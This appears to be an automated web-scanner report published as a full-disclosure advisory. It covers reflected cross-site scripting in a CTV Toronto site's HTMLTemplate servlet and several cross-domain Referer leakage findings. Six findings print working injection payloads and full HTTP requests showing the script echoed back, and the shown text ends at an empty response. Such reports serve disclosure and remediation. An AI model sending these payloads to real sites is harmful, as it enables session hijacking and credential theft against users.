Current Research | Full Disclosure | As of March 14, 2011

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://toronto.ctv.ca/servlet/HTMLTemplate/ [cf parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The value of the cf request parameter is copied into the HTML document as plain text between tags. The payload c58d5<script>alert(1)</script>d0773649421 was submitted in the cf parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfgc58d5<script>alert(1)</script>d0773649421&hub=Toronto&page=search&site_codename=Toronto&query=%27%27&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Aindex.html%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D53; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:51:21 GMT
Server: Apache
Content-Length: 2389
Content-Type: text/plain

<pre>GIS.Common.GIException: Exception while trying to load dynamic config file "ctvlocal/toronto990.cfgc58d5<script>alert(1)</script>d0773649421", configRoot = "/opt/GIS/DynamicConfigFiles"
   at GIS.Servlets.HTMLTemplate.buildSubValues(HTMLTemplate.java:408)
   at GIS.Servlets.HTMLTemplate.doGet(HTMLTemplate.java:130)
   at javax.servlet.http.HttpS
...[SNIP]...

1.2. http://toronto.ctv.ca/servlet/HTMLTemplate/ [query parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The value of the query request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5075"%3balert(1)//c359c45c44e was submitted in the query parameter. This input was echoed as a5075";alert(1)//c359c45c44e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%27a5075"%3balert(1)//c359c45c44e&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Aindex.html%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D53; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:51:27 GMT
Server: Apache
Cache-Control: private
Content-Type: text/html
Content-Length: 19543

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<script language="JavaScript" type="text/javascript" src="/t
...[SNIP]...
bx.lt="auto";//LINK TRACKING
hbx.dlf="n";//DOWNLOAD FILTER
hbx.dft="n";//DOWNLOAD FILE NAMING
hbx.elf="n";//EXIT LINK FILTER

//INSERT CUSTOM EVENTS
var ev1 = new _hbEvent("search");
ev1.keywords = "''a5075";alert(1)//c359c45c44e"; // replace keyword with the user's search query
ev1.results = ""; // 0 = no results returned; 1 = results returned
ev1.attr1 = ""; // these are custom attributes for advanced searches, we can revie
...[SNIP]...

1.3. http://toronto.ctv.ca/servlet/HTMLTemplate/ [query parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The value of the query request parameter is copied into the HTML document as plain text between tags. The payload 6fe27<script>alert(1)</script>6fd0461158a was submitted in the query parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%276fe27<script>alert(1)</script>6fd0461158a&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Aindex.html%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D53; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:51:27 GMT
Server: Apache
Cache-Control: private
Content-Type: text/html
Content-Length: 19607

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<script language="JavaScript" type="text/javascript" src="/t
...[SNIP]...
<b>''6fe27<script>alert(1)</script>6fd0461158a</b>
...[SNIP]...

1.4. http://toronto.ctv.ca/servlet/HTMLTemplate/ [query parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The value of the query request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c67e"><script>alert(1)</script>3d824a34752 was submitted in the query parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%277c67e"><script>alert(1)</script>3d824a34752&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Aindex.html%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D53; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:51:26 GMT
Server: Apache
Cache-Control: private
Content-Type: text/html
Content-Length: 19618

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<script language="JavaScript" type="text/javascript" src="/t
...[SNIP]...
<a href="/servlet/HTMLTemplate?tf=ctvlocal/hub/hubCap.html&cf=ctvlocal/toronto990.cfg&hub=Toronto&page=search&query=''7c67e"><script>alert(1)</script>3d824a34752&site_codename=Toronto&subhub=News
">
...[SNIP]...

1.5. http://toronto.ctv.ca/servlet/HTMLTemplate/ [site_codename parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The value of the site_codename request parameter is copied into an HTML comment. The payload 88902--><script>alert(1)</script>be95e7eddd0 was submitted in the site_codename parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto88902--><script>alert(1)</script>be95e7eddd0&query=%27%27&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Aindex.html%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D53; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:51:26 GMT
Server: Apache
Cache-Control: private
Content-Type: text/html
Content-Length: 19380

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<script language="JavaScript" type="text/javascript" src="/t
...[SNIP]...
<script>alert(1)</script>be95e7eddd0 -->
...[SNIP]...

1.6. http://toronto.ctv.ca/servlet/HTMLTemplate/ [tf parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The value of the tf request parameter is copied into the HTML document as plain text between tags. The payload 880e9<x%20style%3dx%3aexpression(alert(1))>ca0d85fb15f was submitted in the tf parameter. This input was echoed as 880e9<x style=x:expression(alert(1))>ca0d85fb15f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html880e9<x%20style%3dx%3aexpression(alert(1))>ca0d85fb15f&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%27&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Aindex.html%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D53; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:51:18 GMT
Server: Apache
Cache-Control: private
Content-Length: 131
Content-Type: text/html

<br><br>

2. Cross-domain Referer leakage previous next
There are 2 instances of this issue:

/servlet/HTMLTemplate/
/servlet/HTMLTemplate/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

2.1. http://toronto.ctv.ca/servlet/HTMLTemplate/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The page was loaded from a URL containing a query string:

http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3

The response contains the following links to other domains:

http://autos.ctv.ca/
http://dave.ctv.ca/
http://images.ctv.ca/favicon.gif
http://images.ctv.ca/mar/images/widgets/local_selectG.gif
http://images.ctv.ca/mar/images/widgets/programs_select.gif
http://mynews.ctv.ca/?siteT=toronto
http://mynews.ctv.ca/homemti?siteT=toronto
http://mynews.ctv.ca/login?siteT=toronto
http://mynews.ctv.ca/upload?siteT=toronto
http://mynews.ctv.ca/webcam_recorder?siteT=toronto
http://shows.ctv.ca/video.aspx/
http://twitter.com/ctvtoronto
http://watch.ctv.ca/news/50-years-of-news/ctv-toronto/
http://watch.ctv.ca/news/Redirect/?ClipId=375052
http://www.ctv.ca/
http://www.ctv.ca/canadaam
http://www.ctv.ca/contests
http://www.ctv.ca/entertainment
http://www.ctv.ca/generic/dynInclude/ads/js/siteBanner.js
http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml
http://www.ctv.ca/generic/generated/static/NewsWireless/wireless.html
http://www.ctv.ca/home
http://www.ctv.ca/mar/hbx/hbx.js
http://www.ctv.ca/news
http://www.ctv.ca/newsletter
http://www.ctv.ca/programs
http://www.ctv.ca/servlet/HTMLTemplate/!ctv/Search/?query=>>&site_codename=ctv
http://www.ctv.ca/servlet/HTMLTemplate/!ctvPop/News/searchtips?title=searchTips
http://www.ctv.ca/sports
http://www.ctv.ca/tvlist
http://www.ctv.ca/w5
http://www.ctv.ca/weather
http://www.facebook.com/pages/Toronto-ON/CTV-Toronto/58148619578

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%27&x=24&y=6
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D41; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:51:08 GMT
Server: Apache
Cache-Control: private
Content-Type: text/html
Content-Length: 19403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<script language="JavaScript" type="text/javascript" src="/t
...[SNIP]...
</script>

<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBanner.js"></script>
...[SNIP]...
</style>

<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />

<table CELLPADDING="0" CELLSPACING="0" BORDER="0" >
...[SNIP]...
<div style="background-image:url(http://www.ctv.ca/mar/images/local990/topHeaderCTVLogo.jpg);background-repeat:no-repeat;height:45px;width:976px">

<a id="logo-zone" href="http://www.ctv.ca"></a>
...[SNIP]...
<div class="dropDownContainer" onmouseup="event.cancelBubble = true;">

<img src="http://images.ctv.ca/mar/images/widgets/local_selectG.gif" alt="Local Stations" height="15" width="108" onclick="showMenu('local');" class="menuButton">

<iframe src="/mar/inc/localOptions.html" frameborder="0" scrolling="no" name="local" id="local" class="dynamicMenu" style="visibility:hidden;height:144px; width: 150px">
...[SNIP]...
<div class="dropDownContainer" onmouseup="event.cancelBubble = true;">

<img src="http://images.ctv.ca/mar/images/widgets/programs_select.gif" alt="Programs A-Z" height="15" width="99" onclick="showMenu('programs')">

<iframe src="/generic/programsList.html" frameborder="0" scrolling="no" id="programs" name="programs" style="visibility:hidden;position:absolute;height:708px;width:500px;border:medium none; ma
...[SNIP]...
<td><a href="http://www.ctv.ca/home">HOME</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/news">News</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/canadaam">Canada AM</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/w5">W5</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/weather">Weather</a>
...[SNIP]...
<td><a href="http://shows.ctv.ca/video.aspx/">Video</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/sports">Sports</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/entertainment">Entertainment</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/programs">Programs</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/tvlist">TV Listing</a>
...[SNIP]...
<td><a href="http://autos.ctv.ca/">Autos</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/contests">Contests</a>
...[SNIP]...
<li><a
href="http://watch.ctv.ca/news/Redirect/?ClipId=375052" onclick="javascript: window.open(this.href,'bctvVideo','width=1010,height=850,left=0,top=0,status=no,scrollbars=1,resizable=1,toolbar=no'); return false"

title="WebMANIA for Sunday, November 14, 2010" class="underline">WEB mania</a>
...[SNIP]...
<li><a href="http://dave.ctv.ca" class="underline">Dave Devall</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/homemti?siteT=toronto" class="underline">My Toronto is...</a>
...[SNIP]...
<h3><a href="http://mynews.ctv.ca/?siteT=toronto"><dt id="five-ddheader" onmouseover="ddMenu('five',1)" onmouseout="ddMenu('five',-1)">
...[SNIP]...
<li><a href="http://mynews.ctv.ca/?siteT=toronto" class="underline">View submissions</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/upload?siteT=toronto" class="underline">Upload a video or image</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/login?siteT=toronto" class="underline">Register or Login</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/webcam_recorder?siteT=toronto" class="underline">Webcam Recorder</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/homemti?siteT=toronto" class="underline">My Toronto is...</a>
...[SNIP]...
<li><a title="CTV.ca Contests" href="http://www.ctv.ca/contests" class="underline">CTV.ca Contests</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/?siteT=toronto" class="underline">MyNews</a>
...[SNIP]...
<li><a href="http://watch.ctv.ca/news/50-years-of-news/ctv-toronto/" class="underline">The History of CTV Toronto</a>
...[SNIP]...
<h1><a href="http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml"><dt id="ten-ddheader" onmouseover="ddMenu('ten',1)" onmouseout="ddMenu('ten',-1)">
...[SNIP]...
<li><a href="http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml" class="underline">RSS</a></li>
<li><a href="http://twitter.com/ctvtoronto" target="blank" class="underline">Twitter</a></li>
<li><a href="http://www.facebook.com/pages/Toronto-ON/CTV-Toronto/58148619578" target="blank" class="underline">Facebook</a></li>
<li><a href="http://www.ctv.ca/newsletter" target="blank" class="underline">Newsletters</a>
...[SNIP]...
<li><a href="http://www.ctv.ca/generic/generated/static/NewsWireless/wireless.html" target="blank">Wireless</a>
...[SNIP]...
<p>

<a href="http://www.ctv.ca/servlet/HTMLTemplate/!ctvPop/News/searchtips?title=searchTips" onclick="window.open('http://www.ctv.ca/servlet/HTMLTemplate/!ctvPop/News/searchtips?title=searchTips','searchTips','height=554,width=486,menubar=no,navbar=no,scrollbars=yes,resizable=yes');return false;">Search Tips</a>
...[SNIP]...
<p><a href="http://www.ctv.ca/servlet/HTMLTemplate/!ctv/Search/?query=>>&site_codename=ctv">Search for [ <b>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...

2.2. http://toronto.ctv.ca/servlet/HTMLTemplate/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The page was loaded from a URL containing a query string:

http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%27&x=24&y=6

The response contains the following links to other domains:

http://autos.ctv.ca/
http://dave.ctv.ca/
http://images.ctv.ca/favicon.gif
http://images.ctv.ca/mar/images/widgets/local_selectG.gif
http://images.ctv.ca/mar/images/widgets/programs_select.gif
http://mynews.ctv.ca/?siteT=toronto
http://mynews.ctv.ca/homemti?siteT=toronto
http://mynews.ctv.ca/login?siteT=toronto
http://mynews.ctv.ca/upload?siteT=toronto
http://mynews.ctv.ca/webcam_recorder?siteT=toronto
http://shows.ctv.ca/SantaClausParade.aspx
http://shows.ctv.ca/video.aspx/
http://twitter.com/ctvtoronto
http://watch.ctv.ca/news/50-years-of-news/ctv-toronto/
http://watch.ctv.ca/news/Redirect/?ClipId=375052
http://www.ctv.ca/
http://www.ctv.ca/canadaam
http://www.ctv.ca/contests
http://www.ctv.ca/entertainment
http://www.ctv.ca/gallery/html/pat-burns-obit-101119/index_.html
http://www.ctv.ca/generic/dynInclude/ads/js/siteBanner.js
http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml
http://www.ctv.ca/generic/generated/static/NewsWireless/wireless.html
http://www.ctv.ca/home
http://www.ctv.ca/mar/hbx/hbx.js
http://www.ctv.ca/news
http://www.ctv.ca/newsletter
http://www.ctv.ca/programs
http://www.ctv.ca/servlet/HTMLTemplate/!ctv/Search/?query=''&site_codename=ctv
http://www.ctv.ca/servlet/HTMLTemplate/!ctvPop/News/searchtips?title=searchTips
http://www.ctv.ca/sports
http://www.ctv.ca/tvlist
http://www.ctv.ca/w5
http://www.ctv.ca/weather
http://www.facebook.com/pages/Toronto-ON/CTV-Toronto/58148619578

Request

GET /servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%27&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Aindex.html%2526pidt%253D1%2526oid%253Dhttp%25253A//images.ctv.ca/mar/images/widgets/search_Button990.gif%2526ot%253DIMAGE%2526oi%253D53; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

